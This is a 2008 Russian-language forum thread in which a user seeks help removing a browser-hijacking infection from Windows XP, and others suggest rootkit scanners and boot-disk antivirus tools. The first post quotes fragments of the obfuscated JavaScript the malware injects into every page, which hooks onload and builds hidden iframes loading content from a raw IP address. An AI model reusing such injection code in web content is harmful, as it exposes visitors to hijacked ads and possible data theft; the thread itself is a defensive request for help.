ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Безопасность > Защита ОС: вирусы, антивирусы, файрволы.
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Подцепил вирус. нужно лечение.
  #1  
Старый 29.05.2008, 23:58
Аватар для AFoST
AFoST
Members of Antichat - Level 5
Регистрация: 28.05.2007
Сообщений: 729
Провел на форуме:
5571194

Репутация: 1934


Отправить сообщение для AFoST с помощью ICQ
Exclamation Подцепил вирус. нужно лечение.

стоит WinXP. Недавно подцепил какую-то херню. Вирус проявляется в том, что
1)все соединения запрошенные через броузеры отправляются от имени эксплорера. если эксплореру не давать права отправлять запросы-то броузер попросту не открывает страницы.
2)к каждой странице добавляется яваскрипт-код весьма большого веса. Причем после конца документа. содержание примерно такое:
Код:
</body>
</html>
<script type="text/javascript" language="javascript">

    var   AVidFwCHAppNSQXBd=  657 - 30606;
    jYwJhMaYgnUJDUaWHkK = window.onload;
    var oDCQtBcAmfBrLVe =6051 + 9815;
	window.onload = vQtxWTsaEYvWmWG;
	IuGdoqVmjGlcsEPFmVl = 19119;
	
    QgVxFTkTaUKEoKOQ = "";
    var   pcBrqcvdVKCNJBqod=  8777 - 1125;
    xfdNKBQaIwxewaDji = "";
    var EoLCbbpddxQpDnmE =31400;
    AxkgATsgBjXTMbgP = "";

...
...
...

var arrAnti = new Array();var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b720x300", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};LxwmQqbwQvgXoXOcMF.push(element);
jkrByjMmjyMUFJjm.push(CreateyoVcLstievvEmDpject_24578457887(
'b720x300',
'http://85.12.43.83/fls.geo/HK_720x300_1.html?a=b',
'720', '720', '300', '300',
'',
''));

...
...
...

function rgpnQIURcMJqLABW(yoVcLstievvEmDpj)
	{
	var   dwkIsJxiemdLOHsvD;
		var QwmhGWqlhFNcDDGREQ = document.createElement("IFRAME");
		uQNeqLfJMQjKDvIHc =14043 + 23606;
		QwmhGWqlhFNcDDGREQ.id = yoVcLstievvEmDpj.FrID;
		
		QwmhGWqlhFNcDDGREQ.name = yoVcLstievvEmDpj.FrName; 
		var   VJCWjHMbmWSGgSQrS=  9804 - 3054;
		QwmhGWqlhFNcDDGREQ.framespacing = yoVcLstievvEmDpj.FrSpacing; 
		AoGBPeUgtvOYDlyH =30686 + 26984;
		QwmhGWqlhFNcDDGREQ.frameborder = yoVcLstievvEmDpj.FrBorder; 
		var PmHnbBFMohbAVNtS =12018 + 6157;
		QwmhGWqlhFNcDDGREQ.scrolling = yoVcLstievvEmDpj.FrScrolling ; 
		var JoUkNgWNPNIgjdMwQ =11385 + 14775;
		QwmhGWqlhFNcDDGREQ.width = yoVcLstievvEmDpj.FrWidthMin; 
		var   CdVSHkhAKhMKAQfat;
		QwmhGWqlhFNcDDGREQ.height = yoVcLstievvEmDpj.FrHeightMin;		
		xrtWnsHoNvYDRyrv = 26284;
		QwmhGWqlhFNcDDGREQ.marginWidth = "0";
		gNALKqVNlcgxptLww = 12459;
		QwmhGWqlhFNcDDGREQ.marginHeight = "0";
		
		if(!QwmhGWqlhFNcDDGREQ.frameborder || QwmhGWqlhFNcDDGREQ.frameborder == 'no')
		{
		var oQoHUoKwdVCnsuxuW =15045 + 22871;
		    QwmhGWqlhFNcDDGREQ.style.borderWidth = "0px";
		    var   edPbIDDhuKTTYdxRGW;
		    QwmhGWqlhFNcDDGREQ.frameBorder = '0';
		    var   qiSeLugrjBiiQFlw;
		}			

...
...
...
3)Заметил, что эта суко на некоторых сайтах меняет баннеры на свои. возможн пересылает куда-то данные форм и куки...
4)в автозагрузке появились лишние длл"ки. Удаляю, при загрузке винды они появляются снова.

Фаерволл оутпост и антивирь нод32 с полными обновлениями молчат.
Нужна помощь.
 
Ответить с цитированием

  #2  
Старый 30.05.2008, 00:03
Аватар для Scov
Scov
Участник форума
Регистрация: 12.11.2006
Сообщений: 109
Провел на форуме:
383516

Репутация: 32
Отправить сообщение для Scov с помощью ICQ
По умолчанию

У нода полные обновления с офф сайта? или зеркала
2.А, что если загрузиться в safe mod и просканить чем нить типо Sysclean
3. У Аваста например есть сд версия, тобиш грузишся с диска и сканеш хард
http://avast.ru/avast_BART_CD_download.htm
 
Ответить с цитированием

  #3  
Старый 30.05.2008, 00:05
Аватар для GALIAFF
GALIAFF
Познающий
Регистрация: 28.09.2007
Сообщений: 56
Провел на форуме:
4328058

Репутация: 86
Отправить сообщение для GALIAFF с помощью ICQ
По умолчанию

неплохо иметь в хозяйстве procmon regmon filemon, ну и хороший антируткит gmer(показывает скрытые файлы/ключи в реестре/и т.д)
посмотри что в сервисах, может есть что левое.
 
Ответить с цитированием

  #4  
Старый 30.05.2008, 00:15
Аватар для AFoST
AFoST
Members of Antichat - Level 5
Регистрация: 28.05.2007
Сообщений: 729
Провел на форуме:
5571194

Репутация: 1934


Отправить сообщение для AFoST с помощью ICQ
По умолчанию

Цитата:
Сообщение от GALIAFF  
неплохо иметь в хозяйстве procmon regmon filemon
ссылочку плз)

Цитата:
Сообщение от Scov  
У нода полные обновления с офф сайта? или зеркала
2.А, что если загрузиться в safe mod и просканить чем нить типо Sysclean
[/URL]
1)с оффа
2)ссылочку плз)
 
Ответить с цитированием

  #5  
Старый 30.05.2008, 00:22
Аватар для Scov
Scov
Участник форума
Регистрация: 12.11.2006
Сообщений: 109
Провел на форуме:
383516

Репутация: 32
Отправить сообщение для Scov с помощью ICQ
По умолчанию

http://www.trendmicro.com/download/dcs.asp

на аваст ссылка выше)
 
Ответить с цитированием

  #6  
Старый 30.05.2008, 00:54
Аватар для spider-intruder
spider-intruder
Постоянный
Регистрация: 10.12.2005
Сообщений: 939
Провел на форуме:
3886281

Репутация: 929


Отправить сообщение для spider-intruder с помощью ICQ
По умолчанию

антируткит gmer - ЛАЖА!!!
юзай RkU
Накрайняк AVZ
 
Ответить с цитированием

  #7  
Старый 30.05.2008, 02:07
Аватар для neprovad
neprovad
Постоянный
Регистрация: 19.10.2007
Сообщений: 794
Провел на форуме:
1013791

Репутация: 711


По умолчанию

поделись подозрительными dll, мне интересно стало что это за живность
 
Ответить с цитированием

  #8  
Старый 30.05.2008, 02:13
Аватар для AFoST
AFoST
Members of Antichat - Level 5
Регистрация: 28.05.2007
Сообщений: 729
Провел на форуме:
5571194

Репутация: 1934


Отправить сообщение для AFoST с помощью ICQ
По умолчанию

уже поздно...вылечился...
 
Ответить с цитированием

  #9  
Старый 30.05.2008, 11:08
Аватар для GALIAFF
GALIAFF
Познающий
Регистрация: 28.09.2007
Сообщений: 56
Провел на форуме:
4328058

Репутация: 86
Отправить сообщение для GALIAFF с помощью ICQ
По умолчанию

Цитата:
антируткит gmer - ЛАЖА!!! юзай RkU Накрайняк AVZ
хех) если уж на то пошло - то все это лажа
 
Ответить с цитированием

  #10  
Старый 30.05.2008, 11:29
Аватар для N1K70
N1K70
Banned
Регистрация: 02.01.2008
Сообщений: 195
Провел на форуме:
523549

Репутация: 301
Отправить сообщение для N1K70 с помощью ICQ
По умолчанию

GALIAFF, avz элита среди этой лажы (так сказать, элитная лажа ))
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Создание своего бизнеса в Интернете baltazar Статьи 1 25.03.2008 13:44
Новый вирус "зачистит" миллионы компьютеров… в пятницу •••™NO FEAR™••• Мировые новости 69 05.02.2006 06:11
Создан первый вирус против "1С" DRON-ANARCHY Мировые новости 0 16.06.2005 23:09



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ